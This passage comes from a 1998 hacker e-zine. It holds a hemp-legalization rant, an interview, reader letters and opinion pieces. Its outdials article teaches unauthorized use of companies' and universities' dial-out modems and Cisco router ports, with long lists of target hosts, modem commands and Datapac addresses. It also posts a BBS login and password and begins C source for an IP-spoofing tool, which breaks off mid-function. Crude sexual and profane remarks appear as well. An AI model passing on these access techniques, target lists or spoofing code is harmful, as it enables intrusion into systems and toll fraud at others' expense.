be a huge industry that would be in direct competition with them. +Literally billions of dollars represent the reason that it's been criminal to +grow hemp for decades. It's all politics and economics. In fact, the social +reasons that it hasn't been decriminalized is minimal. There seem to be enough +enlightened people in many parts of this continent that realize the benefits of +hemp. However, individuals can't legalize hemp by remaining silent about the +issue or speaking softly in private. That simply won't work towards correcting +the great wrong that was done approximately 60 years ago. + +If you need more economic benefits, if hemp *and* marijuana were legalized, the +drug wars would be minimized significantly. Law enforcement and government +resources could be dedicated to other things that are more important to our well +being. Wouldn't you like to see our tax dollars being spent wisely rather than +on prosecuting teenagers that were busted for possession? I most definitely +would. The cost of prosecuting someone for possession of marijuana, filling +out paper work for court cases, wasting a judge's time, housing them in jail +and making sure they have a criminal record for life (plus, restricting them +from crossing the border) etc. is almost immeasurable. It's such a waste. It +is the real crime as far as I'm concerned... and the government is responsible. +Also, is selling a bag of weed to a friend such a big "criminal activity"? I +don't consider anyone that does that to be a drug dealer. Yet, that's exactly +what they are labelled as being. It's ridiculous. Think about how much of a +fucking joke it really is. Why are they continuing to do that in many parts +of this country? Why are they destroying the lives of our youths and taking +away their future? As in, their job opportunities are extremely limited if +they get a criminal record because of something so trivial and meaningless. +It's sickening. Holland should be the example for the world. The savings on +court and jail costs alone for that country must be immense. I can't even +imagine the amount that the U.S. spends on prosecuting and housing people +that were either selling or in possession of marijuana. Don't they realize +that there is no way that they can stop people from importing, exporting, +growing, smoking, selling it no matter how much money they throw away? I +hope that eventually "society" evolves its way of thinking and finally realizes +how stupid this "drug war" against hemp and marijuana is and has been. It +is truly absurd and illogical. Their sense of morality and logic are totally +flawed. It's fucked. If they want to catch criminals, they should start +looking at themselves. + +In a future article, I am going to discuss how cops steal drugs (directly from +citizens on the street and "evidence" that's already at the police station) as +well as propaganda slogans and techniques that they use on the general public +to influence and brainwash them. As in, they say "Selling/Smoking marijuana +isn't a victimless crime." "That it's a gateway drug." "Marijuana is addictive +and harmful." etc. I also want to review some of the anti-drug commercials that +I've seen on television. Basically, this article is just a sample of what will +follow. + +If you want more information on hemp, there are literally thousands of internet +sites that you can check out that offer good information. Simply use a search +engine (like altavista) and search for "hemp". ;) + +Here's a quick comment on the new public service announcements on television +(or rather, propaganda commercials)... The one that shows a girl standing in +a kitchen smashing dishes with a frying pan, saying "This is what it does to +your family..." etc. is one of the better ones that I've seen. It's hilarious. +At the end she asks "Any questions?" while looking right into the camera. Here +are five questions that I think she would enjoy being asked: + +1. Do you want to fuck? +2. Have you ever been baked? +3. Do you want to smoke a bowl with me sometime? +4. Why does talking about drugs make you so excited? +5. How much money were you paid to do that commercial? + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +H/P INFORMATION AND NEWS - {H/P} +Internet outdials: + +This is going to be a brief article summing up Internet outdials. Outdials used +to be extremely popular in the 80's and early 90's hacking era. Now that +everyone and their dog has visited Matt's script archive and has a WWW board +running or idles for hours on IRC, Outdials have become passe'. + +First let me explain what an Internet outdial is and what it is intended to be +used for. Companies who don't want to go through the bother or worry of +installing modems in all of their users computers will install one and connect +it to the Internet for all users to access, both on and offsite. Employees can +telnet to modem.company.com, enter a few commands and dial in to a companies +database, server, or any company system that may require telephone access. Most +outdials will only call local exchanges. There are some called GODS or Global +Outdials which you can call world wide, but they are sparse so if you come +across one, consider yourself lucky, don't give it out and don't abuse it. + +Why should you be interested in Internet outdials. Well the obvious reason is +exploration. If you connect to the modem and redial the last number, chances +are you've just found that companies/universities computer. Another reason to +use outdials is computer/processing time. You can use it to scan exchanges. If +you connect to an outdial in 619 now you can scan systems in San Diego without +paying ld charges. The final reason for using outdial and the reason they +became popular in the 80's is to call ld BBS systems. If you know of a cool BBS +in 202 you can look for an outdial in that AC, connect to it and dial up the +BBS. + +Traditionally to find an outdial you would have to be on one of the X.25 packet +switched networks, sprintnet, datapac, rosnet etc. To connect to these outdials +you either had to be on a host on that particular network, have a valid NUI +(Network User Identifier) or hope the NUA accepts collect calls. A lot of the +PADS you connect to there would also be outdials. Some were passworded, some +were not. When you connected to a NUA that had an outdial you would get a +message similar to "Call Connected" "Hayes Modem" or "MODEM 312" typing HELP +or ? will give you a list of commands. There are scanners available +specifically for X.25 networks. + +If you don't have a valid NUI or access to x.25 networks you can still access +outdial via the Internet. This is the most common way outdials are accessed +today, since everyone seems to have forgotten about packet switched networks. +All you have to do is telnet to modem.victim.com and enter in the modem +initialization instructions an or password. Once you figure out what area code +the modem is in, your set to start dialing. Another way I have heard that you +can access an outdial is by connecting to a Cisco router and scanning for ports +that answer in the 2000-2020 range. If there is not password, type enable and +then ATZ to dial out. I have not personally tested this method. + +When you connect to an outdial there are any number of commands that you can try +to initialize the modem. +ATZ +ATDT9 +ATDT8 +Connect (hayes) +Modem +Hayes +Dial +Dialout +Call + +West Virginia Network was kind enough to give us instructions on using their +outdials at http://wvnvm.wvnet.edu/~roman/dialout.html + +How do you find outdials? Well by scanning. You can scan on the PSN using +wardialers, datapac specific scanners and general ones like Ultradial are +available on the Internet and good h/p BBSes. You can scan blocks of IP +addresses using any of the various ip scanners currently available for *NIX, +Windows and Mac. I suggest scanning universities ip ranges. The last way and +the easiest is to find good updated outdial lists. A lot of these lists have +been passed down over the years and recompiled over and over. DeadKat and the +guys who put out the COTNO zine used to have an updated one, (Issue #2 and #5) +Voyager used to include one in his 2600 faq which he hasn't updated in years +and I suspect he is finished with it. Recently our Russian komrade Cyberlirik +released an updated list that includes both X.25 and Internet outdials. You can +find his list in the most recent CodeZero release "Confidence Remains High" #8 +(crh-008.zip). It is up to Blackened as to whether he wants to include those +lists in this release. I'll append portions of them to the end of this article. +If not, you can find the zines on any good h/p Board (such as AJFA) and on the +Internet at ftp.sekurity.org. + +I have been gathering this information for years and it comes from a variety of +sources, 2600 faq, COTNO, Cyberlirik, Codezero, KM's haq faq, PhiberX, BBSes, +chats, email, usenet and everywhere else. If I forgot you, whoops.... +- Breaker + +Here is the good stuff Credit to above people and then some... + +Germany 0130 Toll-Free Scans: + +824767 Multiple USA Meridian Mail VMB System (Outdial:0*5106,0*..) +824772 USA Meridian Mail System (Outdial: 0*..) +824775 VMB Extendor (MainBox:486) Supposed Outdial: 0,0.. + +Working Outdials + [100% for 304/319/413/800/804/814 NPAs] + x.25 NPAs:204.306.403.416.418.506.514.519.604.613.709.902.905 + on 18.09.97 + Compiled by Lirik@hotmail.com + => 207.222.215.67 <= + [alt2600.faq: + An Internet outdial is a modem connected to the Internet than you + can use to dial out. Normal outdials will only call local numbers. + A GOD (Global OutDial) is capable of calling long distance. + Outdials are an inexpensive method of calling long distance BBS's.] + Note NPA IP/commands/Dial mask/Phones + + !!! 304 DIALOUT.WVNET.EDU (No parity) + 1800 DIALOUTE.WVNET.EDU (Even parity) + ATDT 9,xxxxxxx + http://wvnvm.wvnet.edu/~roman/dialout.html + test phone atdt35001 + !!! 319 ISN.IASTATE.EDU. or isn.rdns.iastate.edu + DIAL: MODEM or HELP + ATDT8xxx-xxxx + !!! 413 dialout2400.smith.edu | dialout.smith.edu + Ctrl+} gives PLACE AUTOCAL + press y, wait for CALL COMPLETE + atdt9,,xxx-xxxx + Independent Nation (413)573-1809 + !!! 804 ublan.acc.virginia.edu / ublan.virginia.edu + 1800 ublan2.acc.virginia.edu + >>connect telnet + >>connect hayes + atdt9,,xxx-xxxx + CPN 804-847-2501 + !!! 814 dialout.psu.edu atdt8xxxxxxxxxx + 1800 CompuServe 2400 82387910 + Telenet 2400 82311510 + Tymnet 2400 82343853 + DEC. 9600 7AM-Midnight EST 818002341998 + Port name: _LTA4974: + x.25 network access only [NUI required] + NPAs:204.306.403.416.418.506.514.519.604.613.709.902.905 + DATAPAC 3101 (ASYNC/ITI) OUT-DIAL PORT ADDRESSES + Outdial Ports (accept only prePAID calls!) + The Destination terminal must be set to 7E1 + in order to receive the outdial call + 1) ENTER THE 7-DIGIT TELEPHONE NUMBER (LOCAL) OF THE DESTINATION + TERMINAL. + 2) DATAPAC WILL RESPOND WITH: + DIALING/COMPOSITION DU NUMERO (XXX-XXXX) + 3) DATAPAC WILL THEN INDICATE: + RINGING/SONNERIE + AS THE MODEM DETECTS RINGBACK TONE. + 4) WHEN THE DESTINATION MODEM ANSWERS THE CALL, DATAPAC WILL SEND + THE FOLLOWING MESSAGE TO THE ORIGINATING END: + CALL CONNECTED/COMMUNICATION ETABLIE + NPA City (PROVINCE) SPEED NUA ADDRESS + --- --------------- ----- ------------- + 403 Calgary (ALTA) 300 0302063300900 + 1200 0302063300901 + 416 Clarkson (ONT) 300 0302091900900 + 1200 0302091900901 + 403 Edmonton (ALTA) 300 0302058700900 + 1200 0302058700901 + 902 Halifax (NS) 300 0302076101900 + 1200 0302076101901 + 905 Hamilton (ONT) 300 0302038500900 + 1200 0302038500901 + 519 Kitchener (ONT) 300 0302033400900 + 1200 0302033400901 + 519 London (ONT) 300 0302035600900 + 1200 0302035600901 + 514 Montreal (QUE) 300 0302082700902 + 1200 0302082700903 + 613 Ottawa (ONT) 300 0302085700901 + 1200 0302085700902 + Working Outdials + ---------------- + as of 12/29/94 + +NPA IP Address Instructions +--- ---------- ------------ +215 isn.upenn.edu modem + +217 dialout.cecer.army.mil atdt x,xxxXXXXX + +218 modem.d.umn.edu atdt9,xxxXXXX + +303 yuma.acns.colostate.edu 3020 + +412 gate.cis.pitt.edu tn3270, + connect dialout.pitt.edu, + atdtxxxXXXX + +413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx + +502 outdial.louisville.edu + +502 uknet.uky.edu connect kecnet + @ dial: "outdial2400 or out" + +602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy + +614 ns2400.acs.ohio-state.edu + +614 ns9600.acs.ohio-state.edu + +713 128.249.27.153 atdt x,xxxXXXX + +714 modem.nts.uci.edu atdt[area]0[phone] + +804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx + +804 ublan2.acc.virginia.edu connect telnet + connect hayes + + + + Need Password + ------------- + +206 rexair.cac.washington.edu This is an unbroken password +303 yuma.ACNS.ColoState.EDU login: modem +404 128.140.1.239 .modem8|CR +415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1" +514 cartier.CC.UMontreal.CA externe,9+number +703 wal-3000.cns.vt.edu dial2400 -aa + +*** Note from Damage, INC. - If anyone does any scanning and wants to share +their list of outdials, dialups etc. then contact us at damage_inc@mailcity.com. +Specify whether or not you want it to be published. Also, the baud rates +(300/1200 baud) for the DATAPAC outdials are a little outdated, so don't let +that discourage you from using them. My final comment is, if you want to find +some DATAPAC dialups, look in the phone book for the ones in your NPA. ;) + + +ú - NEWS - ú + +L0pht at Senate Hearings. Check out www.l0pht.com for more details. The L0pht +site also offers information, recent news, articles, a lounge and links etc. + +SatanicDreams is now a Damage, INC. Distribution Site for the 604 NPA. +Slash-X's board will distribute our releases in British Columbia (and hopefully +throughout Psycho/2_Net via file distribution in the future). If you want to +call there and download issues of the Damage, INC. Newsletter, simply logon +using the following account: + +#: 1-6o4-93o-2o61 +bps: 3oo-336oo +login: damage inc +password: damage +phone #: 000-000-0000 +birthdate: 00/00/00 + +You can contact Slash-X through Email at Slash-X@dec.canbbs.net if you require +more information about his board and/or his net, Psycho/2_Net. + +We're working on getting some h/p boards as Damage, INC. Dist. Sites in other +area codes (Provinces and States). Contact us if you are a Sysop that's +interested in distributing our releases on your board. + +A brand new section called Breaker's Reviews has been added to the Damage, INC. +Newsletter. It'll be a regular section that will be carried in future issues. +At my request, Breaker has written reviews for some high quality h/p web sites +that I've published. I suggested that every reader check them out. Credit and +thanks goes out to Breaker for making valuable contributions towards this issue. +;) You can contact him in Email on FoI and AJFA if you think you know of some +worthy h/p and security related sites that should be reviewed. + +Also, the Damage, INC. Newsletter is currently available at: + +http://members.tripod.com/~damage_inc + +It should be noted that it's still under construction. Leave any comments and +suggestions to us at damage_inc@mailcity.com. In the subject, specify what it's +regarding such as "Letter to the Editor", "Comments", "Suggestions", "Feedback", +"Article Submission" etc. as examples. If your message concerns the above web +site, make sure that it's clearly directed to Shatazar by putting +"Damage, INC. Site" as the subject, or something equally effective at notifying +him. You'll get a faster response from him that way. If you want to contact me +privately, leave mail to blackened@coldmail.com... + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} +An Interview of Blackie Lawless: + +This is a very recent interview that was recorded during a voice conversation +I had with Blackie Lawless. We hadn't spoken in almost a month, so many +topics were discussed at length. Not everything was transcribed from tape +to this text file as not all portions were relevant to this interview. He +agreed to do the interview as long as he wasn't asked certain questions. +I respect him and his privacy, therefore that request wasn't a problem. At +any rate, here it is. Enjoy... + + = BLACKENED + = Blackie Lawless + +(Anything inside of brackets was added by me to explain abbreviations etc.) + + - Introduce yourself to the readers of the Damage, INC. Newsletter. + + - I've been known exclusively as Blackie Lawless for many years now. I'm +sure that some of the old users on AJFA recognize the alias and remember me. +I can't remember when I first called your board, or even what software you were +running at the time. I just recall that you were on a V/X (virus exchange and +research) board here in the States and invited me to call your board. Before +that, we used to post messages to each other in Swash_Net and some of the other +nets of that era like VX_NET, NuKE_NET, RaBiD_NET etc. At that point in time, I +was just exploring some ld boards and reading the "underground" virus and some +of the pirate nets. Everything was still new to me then, and I had a lot to +learn. Back then, I was still calling warez boards and such. I was also +interested in viruses and virus source code. Ah yes, those were +the days man. I doubt if most people reading this even remember Swash_Net +and the warez cracking groups back then. But that was then, and this is now. + + - Yeah, that was back when Dark Coffin was still around...(formerly The +Crypt Newsletter HQ in the 215 NPA) That was a cool board. I kind of miss some +of those old nets man. Anyways, how did you enter the h/p scene? + + - I was on some V/X boards and noticed that there were some text files +online like CuD (Computer Underground Digest), Phrack etc. I downloaded some +issues and after reading them I wanted to call some h/p boards to check them +out. After that, I basically quit calling boards that carried viruses and +began reading and learning about hacking, phreaking, security, various operating +systems etc. That was while I was in high school. Then I went off to college. +That's basically when I really started to get involved in it. I started calling +a lot of ld h/p boards, going to various Hacker Cons etc. and wanted to know +about everything that I could. I found out about using codes to call ld and +wanted to learn more about the telco and how things worked. Then there were +the loops, bridges, Alliance Conferences, Telenet, Datapac, and eventually I +discovered a little thing called the Arpanet. Then I got into university +outdials, hacking PBXs, VMBs, 1-800 extenders etc. It was all a lot of fun. + + - That's cool. Do you want to mention what university you attended? + + - No, I'd rather not. + + - Alright. That's fine man... I should've been better prepared to do this +interview. I don't have any set list of questions to ask you. Anyways, you +obviously progressed after you originally found out about the existence of +h/p boards and text files. Didn't you briefly work as a PBX system installer? + + - Yes, in fact I did. That was a couple of years ago though. I'm not at +liberty to say where I work or what I do now. My employer doesn't have a clue +about my past, what I'm into, or the fact that I'm doing this interview. I'd +like to keep it that way too. + + - No problem man. In the past though, you were a Unix admin though right? +Have you ever considered working for a Telco as a security consultant or +anything related to that field? + + - Yes, I was a Unix admin in the past. No, I have never considered +working for a Telco in any capacity. I haven't had any job offers like that +either. However, I won't say that I'll rule out that type of work in the +future. I think it would be quite interesting. + + - I hope you don't take this the wrong way, but would you ever collaberate +with the SS (Secret Service) or FBI? I mean, to track down hackers/phreaks +and get people that you know busted? Obviously, I'm not accusing you of doing +that. I just wondered, if in a hypothetical situation in which *you* were +busted and would serve say 5+ years in prison as an example... would you take +a deal to serve 6 months in exchange for ratting on people or helping the FBI +bust them for shit? As in, setting people up, recording conversations, +collecting evidence against them etc.? + + - That's a very interesting and provocative question. It's difficult +to say what I'd do in that situation. If it meant ratting on my good friends, +I don't think that I could do that. However, 5 years of one's life is a long +time to spend in prison. So, if it only meant helping them catch malicious +hackers that I don't know very well, I would probably accept that in order to +get a light sentence. Who wouldn't? I'm no fool. Then again, I wouldn't +like working with the FBI either, as I'm not a snake in the grass. Some people +are made to be narcs. Others aren't. I don't believe that I'm the narc type, +but if I was forced into it and threatened with a really long sentence, then +I'd have to think about the choices and accept whatever consequences that would +result from it. + + - Yeah. One wrong choice can really fuck up your life. I wasn't implying +that you're a narc or anything like that man. I trust you and you know that +I don't trust many people. Squeeling on a friend or setting them +up is the worst thing that you can do. It's nice to hear that you wouldn't +do that. Anyway, what do you think is wrong with the h/p scene these days? + + - The kids expect too much to be done for them. They want passwords, +codes, accounts, information on HOW-TO do whatever... which isn't the right +approach to take. It's about learning on your own. It's about exploring +systems. That's the fun of hacking. Being told exactly how to do something +in a text file isn't the point of it in my opinion. It's changed so much with +the internet and the popularity of AOL with the kiddies. That's what is +unfortunate. Plus, there are codes kids that think they're phreaks after using +an extender or dialing out through a VMB or PBX. It's become a joke. They have +no respect for the true phreaks, the veterans of the h/p scene. It is laughable +that they get dropped off by their parents at a Hacker Con and go crazy since +it's the first time they've been away from home on their own, unsupervised. The +main problem is that they want to be given information, instead of wanting to +seek it out and find it. It's not free. That's something they should realize. +Do you agree? + + - Yeah, I agree with you. What do you think of the people that think +they're better than everyone else? You know, the ones that think they're +l33t hax0rs? I'm not referring to the people that can truly be described as +elite... but rather the lame wannabes. + + - It's lame. It's pathetic. It's disgusting to read the shit they +write. That's all I can think of to comment on that. That's about all that +should be said. + + - What do you think of Telnet h/p boards? + + - There's nothing wrong with them. They're keeping the bbs scene alive +in a weird way... I still enjoy posting messages on h/p boards once in a while. +I wouldn't mind calling a few overseas h/p boards sometime. I think that if +your local scene is filled with immature idiots or is dead, then why not run +a Telnet board and get ld users from all over? There's nothing wrong with +that. Of course, there's nothing wrong with dialup boards either. + + - Okay. Now back to some questions about you. How'd you get your alias? + + - Obviously, it's from the lead singer of the group W.A.S.P. They're +an old heavy metal group. I started using this handle in the 80s. It's +stuck with me ever since. + + - So, are you still into listening to metal? Or, do you listen to a +wide variety of music? + + - A very wide variety... everything from hard rock, alternative, metal, +and classical. I'm open to other types of music as well. My musical tastes +are as vast as my personality. + + - Yeah, since we've known each other for quite a few years...I know what +your personality is like quite well. Hehe. + + - Indeed you do. What other questions do you +wish to ask? + + - I don't know how long this interview will be once it's published in +text format. Therefore, I'll end it now. If we haven't covered everything, +then we can always do a second interview in the future if you'd like. + + - Alright. I'm willing to do that. Thanks for giving me the opportunity +to be interviewed man. I'd also like to thank Damage, INC. and give a shout +out to the users in 519 that remember me. + + - Thanks for agreeing to be interviewed man. I hope to continue this at +another time, so that I can ask you some questions about certain h/p related +things like your most memorable experiences, accomplishments, goals for the +future etc. Anyways, we can move on to discussing other things now... + + +< INTERVIEW ENDS > + + +LETTERS TO THE EDITOR - {LETTERS} +More feedback about the Damage, INC. Newsletter: + +This is your forum for feedback. Send all comments, suggestions, and questions +regarding articles to damage_inc@mailcity.com. The following message was +written by Mase on his board Area-51. + +------------------------------------------------------------------------------- +Date: 10:57 am Thu May 7, 1998 Number : 9 of 9 +from: Mase Base : Reviews & Comments +To : All Refer #: None +Subj: feedback Replies: None +Stat: Normal Origin : Local + +This is my letter of to the editor in regards of the Damage, INC. newsletter +#8. I have read all the newsletters up to date and just finished reading the +first newsletter which I never finished :) I read this issue (#8) in about +30-35 minutes and was hooked from article 1. + +The Damage, INC. newsletter is a great magazine for many reasons but one of +them is more outstanding IMO. The newsletter is informative, not only for the +hackers & phreaks but it also gives alot of interesting, informative articles +on government/ufo/conspiracies which is my favourite sections of the +newsletter. I also enjoy the Damage, INC. newsletter because it gives +prespectives of the mass-media, and an interesting look at GREED and also +offers opinions which are good because you find out what other people think +about certain subjects. The Damage, INC. newsletter #8 offered the best +information on cloning out of any recent text files which I have read (most +from 98) It offered names, cloning attempts, scientific information which +really grasped me. + +I have a few questions and suggestions for the Damage, INC. group. How long +have you been around?! I know you didnt release an article and thats when it +started, you must have been around for longer right?! I like that it has a +topic below the date and the issue number. The last one for example, "We Keep +You Honest" was a cool topic for the latest issue. I also liked that their is +a bigger and more explict copyright notice right before the Introduction to +the Damage, INC. newsletter section. I think that might help prevent lamers +who commit copyright infringements, and think a lame apology will take care of +it. That was one improvement I enjoyed in the newsletter. I also have 1 +suggestion for the Damage, INC. newsletter... it says at the bottom "any +feedback or letters to the editor should be sent to BLACKENED, or on a Damage, +INC. board near you. He can also be contacted via Echomail/Netmail in several +nets" I think it would be better for LD readers, or readers that only call +1 board that you be more specific to which nets so they can reach +Blackened alot easier. Also maybe somewhere in the newsletter include a list +of all the members, coders, artists, writers, etc who are involved in the +Damage, INC. newsletter. If that is too much, include a list with updated +members everytime a new member has been introduced. + +That is all my feedback for the Damage, INC. newsletter. Keep them coming (on +time) like they have been 8 for 8 and keep them informative and keep the +readers wanting more (speaking for myself) + +MA$E +------------------------------------------------------------------------------- + +Editor - Thanks for the feedback man. As you know, we always appreciate + hearing from our loyal readers. As for the compliments about the + articles that we've written thus far, they are well taken. + + We'll try to continue writing interesting, informative articles that + include our opinions. Personally, I feel that it's important to + write about things from our own perspective, rather than that of + others. Also, I'm glad you enjoyed reading my article on cloning + and benefitted from the information contained within it. I did + research the topic, had been thinking about it for many months and + wanted to write it as objectively as possible... to show both sides + of the issue. + + As for the large Disclaimer and Copyright Notice, I hope that it's + noticeable now and obeyed by those that read the newsletter. We put + a tremendous amount of work and time into putting together this + relatively small publication... and don't want that effort to be + wasted. As in, when someone rips something such as this off it + shows that they have no respect whatsoever for what we're doing and + trying to accomplish. I agree, adding that was an improvement since + it was greatly needed to make things clear. + + Your suggestions have been noted and will be considered by us. The + quote "We keep you honest." for the last issue was selected by + Shatazar (in case anyone was interested in knowing)... and I felt + that it was suitable. It set the tone and established a theme for + the Damage, INC. Newsletter issue #8 in my opinion. + + I've changed the portion of the newsletter that describes how I + can be contacted. Now it specifically states "CCi Net, Psycho/2 Net" + so that readers can contact me easier. That was something that I + had previously overlooked, so thanks for the good suggestion man. + As for the list of Damage, INC. Members, Writers etc. that's another + good suggestion that I'm going to use. Check out the DAMINFO.ANS + file that's included with this issue. It'll be updated whenever + changes occur. + + As for your question, I wasn't completely sure if you were asking + how long *I* have been around, or when Damage, INC. started. The + Damage, INC. FAQ will answer those types of questions for everyone. + + +OBJECTIVE OPINIONS - {OPINIONS} +Violence. Reader discretion is advised: + +This program contains violent content. Viewer discretion is advised. I'm sure +you've seen those words preceding certain television programs. It's meant to +be a warning to viewers. Basically, it notifies them about depictions of +violent scenes (or in some cases, course language, mature scenes etc.) that +will be seen in the following program. I realize that this article will most +likely be deemed "controversial" by many people. However, that doesn't concern +me. I honestly don't care what is politically correct, and have publicly +stated that many times. + +There isn't enough real violence depicted in the media (on television, in +newspapers, in movies etc.) in my opinion. You might consider that to be a +strong statement, a false statement, or an absurd statement to make. That is, +most people in "society" just don't say or write things such as that. Why not? +The answer is simple. They fear the truth and don't want to face reality. The +truth is that there's more violence in "society" than there is on television or +in the movies. That's just reality. You can try to run and hide from it, but +it will still exist. It won't change. It won't go away. Violence in "society" +isn't suddenly going to vanish into oblivion...even if it's removed from all +media sources. + +In this instance, the media isn't to blame. The media isn't guilty. Television +and movie producers aren't responsible for making people go on shooting sprees. +They aren't using guns to kill, nor are they telling the viewers to go out and +start killing everyone. Therefore, the zombies that are searching for someone +to blame are wrong when they shift it onto the back of the medium of their +choice. Meaning, lyrics in music, video games, text/printed articles, movies, +television shows, comics, radio shows, and concerts aren't responsible for +what violent acts individuals choose to do. + +"Kill", "Born to Kill", "Shoot to Kill", "Natural Born Killers", "Kill 'em All". +Those are just a few short phrases. I could list many others, include graphical +images or animations etc. Would that make those words more effective at +brainwashing or influencing you? Is it that easy to influence someone to kill? +I hope that people have more willpower and intelligence than that. I know that +the zombies don't though. + +The problem is that "society" wants someone to blame whenever there's an +incident such as a kid shooting his classmates. Obviously, things like video +games, comic books, music, movies, watching too much television are easy +targets for them to use as excuses. They don't want to find out the real reason +that things like that are happening. "Society" is violent. Visit a jail or a +prison sometime or talk to the guards that work there. They know about the +cases of inmates that live there before they even arrive. The mass media in +general doesn't show enough *real* violence. It's scripted. It's fake. It's +not reality. It's not even a realistic portrayal of what goes on in "society". +Even the most accurate, violent, movies and television shows can't compare to +what we can witness in daily life. The reason is that it simply can't be done. +The only things that come close are certain documentaries that interview actual +prison inmates, take actual footage from inside prisons etc. Even then, the +camera can distort reality. It also only records events from one perspective, +which is what the cameraman is witnessing and pointing towards. Plus, it's +edited, directed, cut apart, censored etc. before you even see it. In other +words, Hollywoodized material is fiction and not fact. It's the picture of +"society" that they want you to see... and not what actually exists. + +As for the violent stories on the news, they aren't creating violence. They're +simply reporting it... and obviously profiting from it. If you don't like +seeing it, you can change the channel. That won't stop it though. It'll only +prevent you temporarily from seeing it. So, that's not the solution to the +problem. Once you open your eyes, you will see it again. You can't avoid it +that easily. + +How does the media depict violent events? Is it a school shooting a feeding +frenzy? Do they glorify and sensationalize violence when they report on +the consequences of events such as that? Does it desensitize people? Should +violent events such as that be censored? Do kids get ideas from watching it? +Does the media make anyone go on a murder rampage? Should kids be getting their +morals and ethics from the government and media, or someplace else? Will they +try to imitate another teenager that's killed people at their school if they +watch the news? Is the media the cause of violence? Should they be allowed to +show live coverage (such as the recent suicide in L.A. that took place on a +freeway and was shown live after they disrupted other programming)? Should +there be a delay of a few seconds so that they have a chance to make a decision +about whether or not to show violent scenes like that? Is television itself +influencing people to go out and do those types of violent things? The question +that's always asked is "Who's to blame?" whenever there is a school shooting or +another violent incident involving guns. + +Those are just a few questions that you'll have to answer yourselves. You must +form your own opinions. In this article, I've given you a few important things +to think about. You may not agree with what I've said, but it can't be disputed +that violence exists... and it always has. Television didn't create it and +doesn't force us to be violent. The seed of violence will always remain with +us. It's the nature of the "society" that you live in. Indeed, that's the root +of it and the only thing that can be blamed. + +We need to see more *real* violence on television. They should teach people +what the consequences are. They should show them patients that've been shot +by taking them to hospitals. They should show them the morgue. They should +let them see dead bodies of people that were shot and killed. They should +visit graveyards. They should make them realize that there's a difference +between fake/fantasy/fiction and real violence. The difference should be +explained and taught to them. Perhaps if more people are exposed to reality, +they won't be so quick to dismiss things or look for someone else to blame. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +REPORTS FROM THE FRONT - {REPORTS} +Information on Micro$oft's Main Web Site: + +Nevada sent me the following text file, which I decided to publish in order to +to inform readers. It's also being published in an attempt to warn readers +about web sites such as Micro$oft's... + + + Microsoft Main Web Site Info. 10/5/98 + + + Here are a few interesting items, concerning the Microsoft Main Web + Site. + + 1/ As you are aware, if you are on the Net, you are continually + bombarded with "cookie" notices. Most sites will still allow + you unhindered access, even if you refuse to accept these + "cookies". I'm not about to go into an explanation of what + "cookies" are; if you don't know, do some research on the topic. + On the Microsoft Site, if you don't accept the "cookies", you get + very limited access, and in some cases can not even access anything. + + 2/ In a never-ending effort to be helpful, Microsoft now has a new + utility on the Downloads/Upgrade Web Site. It's known as the + "Download Wizard". It scans your entire hard drive, and then + makes "recommendations" on what software, drivers, updates you + need. Personally, I find this just a bit *too* helpful; and + I'm more than a little skeptical, that this is merely a "helpful + utility". + + 3/ This is the actual text from the site, it has been saved as a + .txt file, and the fancy html format has been stripped: + + + Download Wizard + + Not sure which files to download? Download Wizard suggests which + Microsoft Technical Support files you need, and then gives you + the choice of downloading any of the suggested files. Click here + to use the Download Wizard. + + Welcome to the Microsoft® Download Wizard + + The Download Wizard will now check your computer for existing Microsoft + software files and make suggestions for file updates that may be + appropriate for your computer's configuration. After Download Wizard + suggests the files, you can specify which files to download. These + files are only suggestions and will not be downloaded to your machine + unless you request them. Before downloading any files, be sure to check + with your system administrator. + + Note: The Download Wizard currently works only with U.S. and Canadian + operating systems running Microsoft Internet Explorer 3.x or later. + + + ³\³äVADA + + +SOURCE AND SCRIPTS - {SOURCE} +IP Spoofer: + +Some readers of the Damage, INC. Newsletter requested that we include more +C source code... and demonstrate how to use inline assembly etc. So, I've +obliged by including this IP Spoofer. In case you're a novice C programmer, +look for the lines that start with "__asm__" Clip out the source and save it +to a file called IPSPOOF.C. + +------------------------------------------------------------------------------- +#include +#include +#include +#include +#include +#include +#include +#include + +unsigned short ip_cksum(unsigned char * buff, int len) +{ + unsigned long sum = 0; + if (len > 3) + { + __asm__("clc\n" + "1:\t" + "lodsl\n\t" + "adcl %%eax, %%ebx\n\t" + "loop 1b\n\t" + "adcl $0, %%ebx\n\t" + "movl %%ebx, %%eax\n\t" + "shrl $16, %%eax\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum) , "=S" (buff) + : "0" (sum), "c" (len >> 2) ,"1" (buff) + : "ax", "cx", "si", "bx" ); + } + if (len & 2) + { + __asm__("lodsw\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum), "=S" (buff) + : "0" (sum), "1" (buff) + : "bx", "ax", "si"); + } + if (len & 1) + { + __asm__("lodsb\n\t" + "movb $0, %%ah\n\t" + "addw %%ax, %%bx\n\t" + "adcw $0, %%bx" + : "=b" (sum), "=S" (buff) + : "0" (sum), "1" (buff) + : "bx", "ax", "si"); + } + sum =~sum; + return(sum & 0xffff); +} + +unsigned short tcp_check(struct tcphdr *th, int len, + unsigned long saddr, unsigned long daddr) +{ + unsigned long sum; + __asm__(" + addl %%ecx, %%ebx + adcl %%edx, %%ebx + adcl $0, %%ebx + " + : "=b"(sum) + : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) + IPPROTO_TCP*256) + : "bx", "cx", "dx" ); + __asm__(" + movl %%ecx, %%edx + cld + cmpl $32, %%ecx + jb 2f + shrl $5, %%ecx + clc +1: lodsl + adcl %%eax, %%ebx + lodsl + adcl %%eax, %%ebx + lodsl + adcl %%eax, %%ebx + lodsl + adcl %%eax, %%ebx + lodsl + adcl %%eax, %%ebx + lodsl + adcl %%eax, %%ebx + lodsl + adcl %%eax, %%ebx + lodsl + adcl %%eax, %%ebx + loop 1b + adcl $0, %%ebx + movl %%edx, %%ecx +2: andl $28, %%ecx + je 4f + shrl $2, %%ecx + clc +3: lodsl + adcl %%eax, %%ebx + loop 